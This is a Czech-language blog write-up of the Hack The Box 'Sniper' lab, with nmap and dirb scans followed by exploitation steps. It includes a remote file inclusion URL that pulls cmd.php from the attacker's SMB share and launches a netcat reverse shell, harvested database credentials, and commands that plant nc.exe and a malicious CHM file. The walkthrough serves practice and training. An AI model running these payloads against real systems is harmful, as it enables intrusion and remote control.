tom@home.htb:~$

Blog o HTB

18 January 2021

Sniper

Úvod a kontext

U Sniper není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi SMB sdílení, D-Bus a webová aplikace v PHP.

Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k stabilní uživatelský přístup opřený o index.php a cmd.php a proč po získání shellu dává smysl řešit lokální enumeraci po získání shellu.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
49667/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h58m52s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-11-01T19:48:24
|_  start_date: N/A

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

dirb http://$IP
	+ http://10.10.10.151/index.php (CODE:200|SIZE:2635)
	+ http://10.10.10.151/blog/index.php (CODE:200|SIZE:5704)
	+ http://10.10.10.151/user/index.php (CODE:302|SIZE:0)
	+ http://10.10.10.151/user/images/icons/favicon.ico (CODE:200|SIZE:32038)
	==> DIRECTORY: http://10.10.10.151/css/
	==> DIRECTORY: http://10.10.10.151/images/
	==> DIRECTORY: http://10.10.10.151/js/
	==> DIRECTORY: http://10.10.10.151/blog/
	==> DIRECTORY: http://10.10.10.151/blog/css/
	==> DIRECTORY: http://10.10.10.151/blog/js/
	==> DIRECTORY: http://10.10.10.151/user/
	==> DIRECTORY: http://10.10.10.151/user/css/
	==> DIRECTORY: http://10.10.10.151/user/fonts/
	==> DIRECTORY: http://10.10.10.151/user/images/
	==> DIRECTORY: http://10.10.10.151/user/images/icons/
	==> DIRECTORY: http://10.10.10.151/user/js/
	==> DIRECTORY: http://10.10.10.151/user/vendor/
	==> DIRECTORY: http://10.10.10.151/user/vendor/jquery/

systemctl start smbd
http://10.10.10.151/blog/?lang=\\10.10.15.134\data\cmd.php&c=\\10.10.15.134\data\exe\nc 10.10.15.134 4000 -e cmd

db.php
	$con = mysqli_connect("localhost","dbuser","36mEAhz/B8xQ~2VM","sniper");

Získání přístupu

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

more user.txt
__CENSORED__

cp \\10.10.15.134\data\exe\nc.exe c:\programdata\nc.exe
cp \\10.10.15.134\data\chm\doc.chm c:\docs\instructions.chm

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

more root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - sql-injection - rce - smb - php - exploit